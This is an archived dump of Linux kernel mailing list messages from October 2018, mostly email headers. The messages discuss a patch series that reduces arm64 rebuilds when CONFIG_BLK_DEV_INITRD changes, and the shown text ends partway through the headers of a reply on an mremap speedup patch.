        Thu, 25 Oct 2018 00:24:57 -0400
Original-Received: from mail-qt1-f178.google.com (mail-qt1-f178.google.com [209.85.160.178])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by mail.kernel.org (Postfix) with ESMTPSA id 61C3020856;
        Wed, 24 Oct 2018 19:55:30 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=kernel.org;
        s=default; t=1540410930;
        bh=odyqBKiYzBv5IdIjuzYAxZmBJIO7/EssQKEqn+zv55Y=;
        h=References:In-Reply-To:From:Date:Subject:To:Cc:From;
        b=pPXWBrBY48yKmVZsXTwnisZP13JqtDYYYkw0MgF5fzrB0Kyr3C1w180LeNbCUqTMI
         7jGgJ5Aa6GlqBjlH1EXuO620tqj2AM9TpbqXXOJqD8ThiOnXSMbaekyyxcisqwNUJm
         6H8xB6oFAY5/Mosi2BOK2RnN9DT9LDaSAgYcgCaw=
Original-Received: by mail-qt1-f178.google.com with SMTP id d14-v6so7095735qto.4;
        Wed, 24 Oct 2018 12:55:30 -0700 (PDT)
X-Gm-Message-State: AGRZ1gKmUKzAHqOL6JadaLE9lXmmwmkYg5zIHRbcOhRKo/dlO5CMk+a/
        JwbYqYVUasfNVWd5EaHM3beWXSyXTomL+soyaw==
X-Google-Smtp-Source: AJdET5fsfiJJQiRG4tYbtk5oK2Hs+N0GSRD1ejgIMFFWz394cehWWCibOhJ12q0e8gCpcmQUgoAPaMWg1f+S+gdFGLQ=
X-Received: by 2002:ac8:5414:: with SMTP id b20-v6mr106396qtq.144.1540410929467;
 Wed, 24 Oct 2018 12:55:29 -0700 (PDT)
In-Reply-To: <20181024193256.23734-1-f.fainelli@gmail.com>
X-Gmail-Original-Message-ID: <CAL_Jsq+KCOv6pXXHhHDZ+7-QUrmtMDvSjEVhK15yZ3qbnn61Ag@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2907136 gmane.linux.ports.alpha:5361 gmane.linux.kernel.arc:4607 gmane.linux.ports.arm.kernel:681293 gmane.linux.ports.hexagon:1947 gmane.linux.ports.ia64:29427 gmane.linux.ports.mips.general:67165 gmane.linux.ports.parisc:29228 gmane.linux.ports.ppc64.devel:164866 gmane.linux.ports.riscv:1193 gmane.linux.ports.sh.devel:57681 gmane.linux.ports.sparc:28650 gmane.linux.drivers.devicetree:294259 gmane.linux.kernel.cross-arch:48046
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2907136>

On Wed, Oct 24, 2018 at 2:33 PM Florian Fainelli <f.fainelli@gmail.com> wrote:
>
> Hi all,
>
> While investigating why ARM64 required a ton of objects to be rebuilt
> when toggling CONFIG_DEV_BLK_INITRD, it became clear that this was
> because we define __early_init_dt_declare_initrd() differently and we do
> that in arch/arm64/include/asm/memory.h which gets included by a fair
> amount of other header files, and translation units as well.

I scratch my head sometimes as to why some config options rebuild so
much stuff. One down, ? to go. :)

> Changing the value of CONFIG_DEV_BLK_INITRD is a common thing with build
> systems that generate two kernels: one with the initramfs and one
> without. buildroot is one of these build systems, OpenWrt is also
> another one that does this.
>
> This patch series proposes adding an empty initrd.h to satisfy the need
> for drivers/of/fdt.c to unconditionally include that file, and moves the
> custom __early_init_dt_declare_initrd() definition away from
> asm/memory.h
>
> This cuts the number of objects rebuilds from 1920 down to 26, so a
> factor 73 approximately.
>
> Apologies for the long CC list, please let me know how you would go
> about merging that and if another approach would be preferable, e.g:
> introducing a CONFIG_ARCH_INITRD_BELOW_START_OK Kconfig option or
> something like that.

There may be a better way as of 4.20 because bootmem is now gone and
only memblock is used. This should unify what each arch needs to do
with initrd early. We need the physical address early for memblock
reserving. Then later on we need the virtual address to access the
initrd. Perhaps we should just change initrd_start and initrd_end to
physical addresses (or add 2 new variables would be less invasive and
allow for different translation than __va()). The sanity checks and
memblock reserve could also perhaps be moved to a common location.

Alternatively, given arm64 is the only oddball, I'd be fine with an
"if (IS_ENABLED(CONFIG_ARM64))" condition in the default
__early_init_dt_declare_initrd as long as we have a path to removing
it like the above option.

Rob


From - Thu Nov 08 21:42:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Florian Fainelli <f.fainelli@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.devicetree,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v2 0/2] arm64: Cut rebuild time when changing
 CONFIG_BLK_DEV_INITRD
Date: Wed, 24 Oct 2018 13:01:19 -0700
Lines: 58
Approved: news@gmane.org
Message-ID: <6e647f76-8523-09d3-9b72-d8d8abd213a4@gmail.com>
References: <20181024193256.23734-1-f.fainelli@gmail.com>
 <CAL_Jsq+KCOv6pXXHhHDZ+7-QUrmtMDvSjEVhK15yZ3qbnn61Ag@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1540411175 19561 195.159.176.226 (24 Oct 2018 19:59:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 24 Oct 2018 19:59:35 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
 Thunderbird/60.2.1
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Arnd Bergmann <arnd@arndb.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Marc Zyngier <marc.zyngier@arm.com>,
        Olof Johansson <olof@lixom.net>, linux-alpha@vger.kernel.org,
        arcml <linux-snps-arc@lists.infradead.org>,
        "moderated list:ARM/FREESCALE IMX / MXC ARM ARCHITECTURE" 
        <linux-arm-kernel@lists.infradead.org>,
        linux-c6x-dev@linux-c6x.org,
        "moderated list:H8/300 ARCHITECTURE" 
        <uclinux-h8-devel@lists.sourceforge.jp>,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org,
        Linux-MIPS <linux-mips@linux-mips.org>,
        nios2-dev@lists.rocketboards.org,
        Openrisc <openrisc@list
To: Rob Herring <robh@kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Oct 24 21:59:28 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gFPJQ-0004v2-6o
	for glk-linux-kernel-4@m.gmane.org; Wed, 24 Oct 2018 21:59:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727372AbeJYEbD (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 25 Oct 2018 00:31:03 -0400
Original-Received: from mail-wr1-f67.google.com ([209.85.221.67]:45011 "EHLO
        mail-wr1-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726433AbeJYEbC (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 25 Oct 2018 00:31:02 -0400
Original-Received: by mail-wr1-f67.google.com with SMTP id q6-v6so6895579wrw.11;
        Wed, 24 Oct 2018 13:01:33 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=subject:to:cc:references:from:openpgp:autocrypt:message-id:date
         :user-agent:mime-version:in-reply-to:content-language
         :content-transfer-encoding;
        bh=uhQ43+JcdTBslpZHUr3xaLEsxX6YfiYn2s0FtMDUby0=;
        b=Xcco2/ijRsvXrf5JKzv3o+XTkEv3Y+BlXsqkx6TNEr4Mo7ESNP15Ecm5FvAxbmMsC3
         GasDkImyXxSfubzhakP6yk3Gng1x0NFbC9optb+1wuE86rrg05xlKdC5DbyAMXGUpqJ+
         GR3A0rNnq3r/Z0P/BgmPO3FARfLHALO/CHFcfc7tmTpTKxbrXWJS9qljrhOzbO/lajUd
         jqVKWUUoVtbbOjoCuiY89wvkgZu0qolosLcwtnyIu5fpXfTX6Nx3Idw49VZElT/Ymu9s
         J1mBkTG8fb3ib9sh2aOQ5SWlMStr/uHXzMRWKNL+vr5/XBftfCeb5V6eIbNEdfcoJ8hC
         T/UA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:subject:to:cc:references:from:openpgp:autocrypt
         :message-id:date:user-agent:mime-version:in-reply-to
         :content-language:content-transfer-encoding;
        bh=uhQ43+JcdTBslpZHUr3xaLEsxX6YfiYn2s0FtMDUby0=;
        b=pp4ciPPZIIB3/+hpHbWxFnzmIH68/v92OwxY/HX4zAePJ6NNWLfkPQQuVoC8FUsItd
         0Bla7fTEWScHr5bvxZksDBcYgo3I38k1+OIX/bFCRvEV0zVlXwSosY4gNIVJ+3aIX975
         +vS1jGR5HBN1LRY3soyYMQ4rwO7Tfe2o9+ZOZezs1AaVkZBKFle+xxvnosNZwVUDKjoE
         LRszE32M3pYnh5vMJsH8S+graCjqx7X7Q7j7fi98/9yADdU6bVCz1M+0jNYHtKcmgn7+
         lk71nXXLY5QIdZgP7D8s33vS2Zey7dJdjJH7Y1LIC39BwhGc1VG1FQj4NHfvCrjounOy
         dNag==
X-Gm-Message-State: AGRZ1gK1X/LL5IfUQMavHaYjvn3koJ4dbhw9bi/m8fVjyAtor82BTsoY
        QwtfwQnqJr2P6wK6Fr+VtBIteZtqmsM=
X-Google-Smtp-Source: AJdET5f8WB/ydfFuKYrtsm5FGsryDp7J53TJZKdK6x1JVkqsT43x6Npjcoz8+EbmzbruFVdqPY2Q/w==
X-Received: by 2002:adf:bd0f:: with SMTP id j15-v6mr855942wrh.267.1540411292323;
        Wed, 24 Oct 2018 13:01:32 -0700 (PDT)
Original-Received: from [10.67.49.121] ([192.19.223.250])
        by smtp.googlemail.com with ESMTPSA id o11-v6sm4380630wrq.41.2018.10.24.13.01.26
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 24 Oct 2018 13:01:31 -0700 (PDT)
Openpgp: preference=signencrypt
Autocrypt: addr=f.fainelli@gmail.com; prefer-encrypt=mutual; keydata=
 xsDiBEjPuBIRBACW9MxSJU9fvEOCTnRNqG/13rAGsj+vJqontvoDSNxRgmafP8d3nesnqPyR
 xGlkaOSDuu09rxuW+69Y2f1TzjFuGpBk4ysWOR85O2Nx8AJ6fYGCoeTbovrNlGT1M9obSFGQ
 X3IzRnWoqlfudjTO5TKoqkbOgpYqIo5n1QbEjCCwCwCg3DOH/4ug2AUUlcIT9/l3pGvoRJ0E
 AICDzi3l7pmC5IWn2n1mvP5247urtHFs/uusE827DDj3K8Upn2vYiOFMBhGsxAk6YKV6IP0d
 ZdWX6fqkJJlu9cSDvWtO1hXeHIfQIE/xcqvlRH783KrihLcsmnBqOiS6rJDO2x1eAgC8meAX
 SAgsrBhcgGl2Rl5gh/jkeA5ykwbxA/9u1eEuL70Qzt5APJmqVXR+kWvrqdBVPoUNy/tQ8mYc
 nzJJ63ng3tHhnwHXZOu8hL4nqwlYHRa9eeglXYhBqja4ZvIvCEqSmEukfivk+DlIgVoOAJbh
 qIWgvr3SIEuR6ayY3f5j0f2ejUMYlYYnKdiHXFlF9uXm1ELrb0YX4GMHz80nRmxvcmlhbiBG
 YWluZWxsaSA8Zi5mYWluZWxsaUBnbWFpbC5jb20+wmYEExECACYCGyMGCwkIBwMCBBUCCAME
 FgIDAQIeAQIXgAUCVF/S8QUJHlwd3wAKCRBhV5kVtWN2DvCVAJ4u4/bPF4P3jxb4qEY8I2gS
 6hG0gACffNWlqJ2T4wSSn+3o7CCZNd7SLSDOw00ESM+4EhAQAL/o09boR9D3Vk1Tt7+gpYr3
 WQ6hgYVON905q2n 
In-Reply-To: <CAL_Jsq+KCOv6pXXHhHDZ+7-QUrmtMDvSjEVhK15yZ3qbnn61Ag@mail.gmail.com>
Content-Language: en-US
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2907140 gmane.linux.ports.alpha:5362 gmane.linux.kernel.arc:4608 gmane.linux.ports.arm.kernel:681294 gmane.linux.ports.hexagon:1948 gmane.linux.ports.ia64:29428 gmane.linux.ports.mips.general:67166 gmane.linux.ports.parisc:29229 gmane.linux.ports.ppc64.devel:164868 gmane.linux.ports.riscv:1194 gmane.linux.ports.sh.devel:57682 gmane.linux.ports.sparc:28651 gmane.linux.drivers.devicetree:294261 gmane.linux.kernel.cross-arch:48047
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2907140>

On 10/24/18 12:55 PM, Rob Herring wrote:
> On Wed, Oct 24, 2018 at 2:33 PM Florian Fainelli <f.fainelli@gmail.com> wrote:
>>
>> Hi all,
>>
>> While investigating why ARM64 required a ton of objects to be rebuilt
>> when toggling CONFIG_DEV_BLK_INITRD, it became clear that this was
>> because we define __early_init_dt_declare_initrd() differently and we do
>> that in arch/arm64/include/asm/memory.h which gets included by a fair
>> amount of other header files, and translation units as well.
> 
> I scratch my head sometimes as to why some config options rebuild so
> much stuff. One down, ? to go. :)
> 

This one was by far the most invasive one due to its include chain, but
yes, there would be many more that could be optimized.

>> Changing the value of CONFIG_DEV_BLK_INITRD is a common thing with build
>> systems that generate two kernels: one with the initramfs and one
>> without. buildroot is one of these build systems, OpenWrt is also
>> another one that does this.
>>
>> This patch series proposes adding an empty initrd.h to satisfy the need
>> for drivers/of/fdt.c to unconditionally include that file, and moves the
>> custom __early_init_dt_declare_initrd() definition away from
>> asm/memory.h
>>
>> This cuts the number of objects rebuilds from 1920 down to 26, so a
>> factor 73 approximately.
>>
>> Apologies for the long CC list, please let me know how you would go
>> about merging that and if another approach would be preferable, e.g:
>> introducing a CONFIG_ARCH_INITRD_BELOW_START_OK Kconfig option or
>> something like that.
> 
> There may be a better way as of 4.20 because bootmem is now gone and
> only memblock is used. This should unify what each arch needs to do
> with initrd early. We need the physical address early for memblock
> reserving. Then later on we need the virtual address to access the
> initrd. Perhaps we should just change initrd_start and initrd_end to
> physical addresses (or add 2 new variables would be less invasive and
> allow for different translation than __va()). The sanity checks and
> memblock reserve could also perhaps be moved to a common location.
> 
> Alternatively, given arm64 is the only oddball, I'd be fine with an
> "if (IS_ENABLED(CONFIG_ARM64))" condition in the default
> __early_init_dt_declare_initrd as long as we have a path to removing
> it like the above option.

OK, let me cook a patch doing that and meanwhile I will look at how much
work is involved to implement the above option you outlined, which also
sounds entirely reasonable.

Thanks!
-- 
Florian


From - Thu Nov 08 21:42:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rob Herring <robh@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.devicetree,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v2 0/2] arm64: Cut rebuild time when changing CONFIG_BLK_DEV_INITRD
Date: Wed, 24 Oct 2018 16:25:47 -0500
Lines: 65
Approved: news@gmane.org
Message-ID: <CAL_JsqKC6+8gobdk1uhMLLdMUHEO8D0c3m6+F_3y3NTU_KidOw@mail.gmail.com>
References: <20181024193256.23734-1-f.fainelli@gmail.com> <CAL_Jsq+KCOv6pXXHhHDZ+7-QUrmtMDvSjEVhK15yZ3qbnn61Ag@mail.gmail.com>
 <6e647f76-8523-09d3-9b72-d8d8abd213a4@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1540416244 20441 195.159.176.226 (24 Oct 2018 21:24:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 24 Oct 2018 21:24:04 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Arnd Bergmann <arnd@arndb.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Marc Zyngier <marc.zyngier@arm.com>,
        Olof Johansson <olof@lixom.net>, linux-alpha@vger.kernel.org,
        arcml <linux-snps-arc@lists.infradead.org>,
        "moderated list:ARM/FREESCALE IMX / MXC ARM ARCHITECTURE" 
        <linux-arm-kernel@lists.infradead.org>,
        linux-c6x-dev@linux-c6x.org,
        "moderated list:H8/300 ARCHITECTURE" 
        <uclinux-h8-devel@lists.sourceforge.jp>,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org,
        Linux-MIPS <linux-mips@linux-mips.org>,
        nios2-dev@lists.rocketboards.org,
        Openrisc <openrisc@list
To: Florian Fainelli <f.fainelli@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Oct 24 23:23:58 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gFQdA-00058n-NF
	for glk-linux-kernel-4@m.gmane.org; Wed, 24 Oct 2018 23:23:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727143AbeJYFzo (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 25 Oct 2018 01:55:44 -0400
Original-Received: from mail.kernel.org ([198.145.29.99]:45666 "EHLO mail.kernel.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1725829AbeJYFzn (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 25 Oct 2018 01:55:43 -0400
Original-Received: from mail-qk1-f180.google.com (mail-qk1-f180.google.com [209.85.222.180])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by mail.kernel.org (Postfix) with ESMTPSA id E951A205F4;
        Wed, 24 Oct 2018 21:25:59 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=kernel.org;
        s=default; t=1540416360;
        bh=DrYv3rOz4s3YKUAS25iDFbj9u1gmDS7kDGOLP8aXMPU=;
        h=References:In-Reply-To:From:Date:Subject:To:Cc:From;
        b=WFc9fBtW/wQk5rRBn8pd4zZ4GV3BDaqF2IH3xf//pL9gti9zT6wmhauZ04ZVAXXAX
         tEwOtwUKBf3yqR/uZINoF0Q7yqXohdhB5HZrxBB0n6o3r1fLXBC0QLTGFNZeObXs3r
         Pmm6zykqDp7m/QuWcNSZX2FpHTMf09MjtrWfpZfw=
Original-Received: by mail-qk1-f180.google.com with SMTP id m8-v6so4380448qka.12;
        Wed, 24 Oct 2018 14:25:59 -0700 (PDT)
X-Gm-Message-State: AGRZ1gJKm0qMChzWJIuil/CmfjNbIoJoP/4OlrOhw9cpwGINyTN+wDnY
        iJLypuU6wyWdv26ORszoDUCTQWyiMWrVoXCBuA==
X-Google-Smtp-Source: AJdET5fLeqEQvAx6hoB3x+b9qFI1ZHrue/yG2wOqJqu736uN/9NeIxzvWV7airWmV10BuVn5dG9cretcBZt5Df4K5Vc=
X-Received: by 2002:ae9:edd8:: with SMTP id c207mr1630980qkg.184.1540416359162;
 Wed, 24 Oct 2018 14:25:59 -0700 (PDT)
In-Reply-To: <6e647f76-8523-09d3-9b72-d8d8abd213a4@gmail.com>
X-Gmail-Original-Message-ID: <CAL_JsqKC6+8gobdk1uhMLLdMUHEO8D0c3m6+F_3y3NTU_KidOw@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2907165 gmane.linux.ports.alpha:5363 gmane.linux.kernel.arc:4609 gmane.linux.ports.arm.kernel:681304 gmane.linux.ports.hexagon:1949 gmane.linux.ports.ia64:29429 gmane.linux.ports.mips.general:67168 gmane.linux.ports.parisc:29230 gmane.linux.ports.ppc64.devel:164869 gmane.linux.ports.riscv:1200 gmane.linux.ports.sh.devel:57683 gmane.linux.ports.sparc:28652 gmane.linux.drivers.devicetree:294269 gmane.linux.kernel.cross-arch:48048
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2907165>

On Wed, Oct 24, 2018 at 3:01 PM Florian Fainelli <f.fainelli@gmail.com> wrote:
>
> On 10/24/18 12:55 PM, Rob Herring wrote:
> > On Wed, Oct 24, 2018 at 2:33 PM Florian Fainelli <f.fainelli@gmail.com> wrote:
> >>
> >> Hi all,
> >>
> >> While investigating why ARM64 required a ton of objects to be rebuilt
> >> when toggling CONFIG_DEV_BLK_INITRD, it became clear that this was
> >> because we define __early_init_dt_declare_initrd() differently and we do
> >> that in arch/arm64/include/asm/memory.h which gets included by a fair
> >> amount of other header files, and translation units as well.
> >
> > I scratch my head sometimes as to why some config options rebuild so
> > much stuff. One down, ? to go. :)
> >
>
> This one was by far the most invasive one due to its include chain, but
> yes, there would be many more that could be optimized.
>
> >> Changing the value of CONFIG_DEV_BLK_INITRD is a common thing with build
> >> systems that generate two kernels: one with the initramfs and one
> >> without. buildroot is one of these build systems, OpenWrt is also
> >> another one that does this.
> >>
> >> This patch series proposes adding an empty initrd.h to satisfy the need
> >> for drivers/of/fdt.c to unconditionally include that file, and moves the
> >> custom __early_init_dt_declare_initrd() definition away from
> >> asm/memory.h
> >>
> >> This cuts the number of objects rebuilds from 1920 down to 26, so a
> >> factor 73 approximately.
> >>
> >> Apologies for the long CC list, please let me know how you would go
> >> about merging that and if another approach would be preferable, e.g:
> >> introducing a CONFIG_ARCH_INITRD_BELOW_START_OK Kconfig option or
> >> something like that.
> >
> > There may be a better way as of 4.20 because bootmem is now gone and
> > only memblock is used. This should unify what each arch needs to do
> > with initrd early. We need the physical address early for memblock
> > reserving. Then later on we need the virtual address to access the
> > initrd. Perhaps we should just change initrd_start and initrd_end to
> > physical addresses (or add 2 new variables would be less invasive and
> > allow for different translation than __va()). The sanity checks and
> > memblock reserve could also perhaps be moved to a common location.
> >
> > Alternatively, given arm64 is the only oddball, I'd be fine with an
> > "if (IS_ENABLED(CONFIG_ARM64))" condition in the default
> > __early_init_dt_declare_initrd as long as we have a path to removing
> > it like the above option.
>
> OK, let me cook a patch doing that and meanwhile I will look at how much
> work is involved to implement the above option you outlined, which also
> sounds entirely reasonable.

BTW, I would suspect that initrd_below_start_ok being 1 is not okay
for most arches. I'm not sure how that would work. min_low_pfn is
typically based on the start of memory. arm64 is not even setting it.

Rob

> --
> Florian


From - Thu Nov 08 21:42:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 2/4] mm: speed up mremap by 500x on large regions (v2)
Date: Wed, 24 Oct 2018 19:09:07 -0700
Lines: 68
Approved: news@gmane.org
Message-ID: <20181025020907.GA13560@joelaf.mtv.corp.google.com>
References: <20181013013200.206928-1-joel@joelfernandes.org>
 <20181013013200.206928-3-joel@joelfernandes.org>
 <20181024101255.it4lptrjogalxbey@kshutemo-mobl1>
 <20181024115733.GN8537@350D>
 <20181024125724.yf6frdimjulf35do@kshutemo-mobl1>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1540433250 30016 195.159.176.226 (25 Oct 2018 02:07:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 25 Oct 2018 02:07:30 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Balbir Singh <bsingharora@gmail.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 kvmarm@lists.cs.columbia.edu, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, anton.ivanov@kot-begemot.co.uk,
 I
To: "Kirill A. Shutemov" <kirill@shutemov.name>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Thu Oct 25 04:07:21 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gFV3Q-0007b3-C5
	for gla-linux-snps-arc@m.gmane.org; Thu, 25 Oct 2018 04:07:20 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=rzUvdW2MB+PzMlbbuqpZ+UubxQx/LyT45D1T3uqRkgk=; b=gUpu+sYr7h/cSk
	G9J3x8zxLIzUZBEYdmUQcitwhnqmFGR409QgLFdoi37b3jjeF/2NMSs681CJbodXigF9T9QMCKlqY
	eIPCiiyv0llzxTosVTq2aBefkfeiQefMMFkn9Mol80M8QCLnMz4wrevbqwDaU+rhPSe4Wek2cpT0m
	f8r5PvzVqA5hWRT1hQlZUwMPXuNW/Eet/NVdP9PKOBQzHUKrw8y1RPhm3qZA1yn+P5Uag18gwZ/Bv
	U/YEWAI+3HW3pw9lHz0WmN7z5FcVqz5wu22djcleuT+OcADr5DWB2+ACZSig7epQJUTAxah/koYT5
	qLyNqNvelFMomAnsNzZA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gFV5U-00006Q-LV; Thu, 25 Oct 2018 02:09:28 +0000
Original-Received: from mail-pf1-x444.google.com ([2607:f8b0:4864:20::444])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gFV5O-0008W2-B0
 for linux-snps-arc@lists.infradead.org; Thu, 25 Oct 2018 02:09:26 +0000
Original-Received: by mail-pf1-x444.google.com with SMTP id j2-v6so183026pfn.11
 for <linux-snps-arc@lists.infradead.org>; Wed, 24 Oct 2018 19:09:11 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=G78I9uM4gXdiLalpqQZcUQ0k8S9gAvq6zBmyUxhGe0M=;
 b=LAnJhDOqLDe5rJ8W4SiC2EjUQZvQu/r5ZibVfgxKfT2epX8iHZwYQmEjB6a8btC1dW
 r6dDSvdCvkPgsk5m3K0hxUEc1ohpdLPr/504o7kJ7XSyqWkNXqLU77+seSO2HzOgNvQs
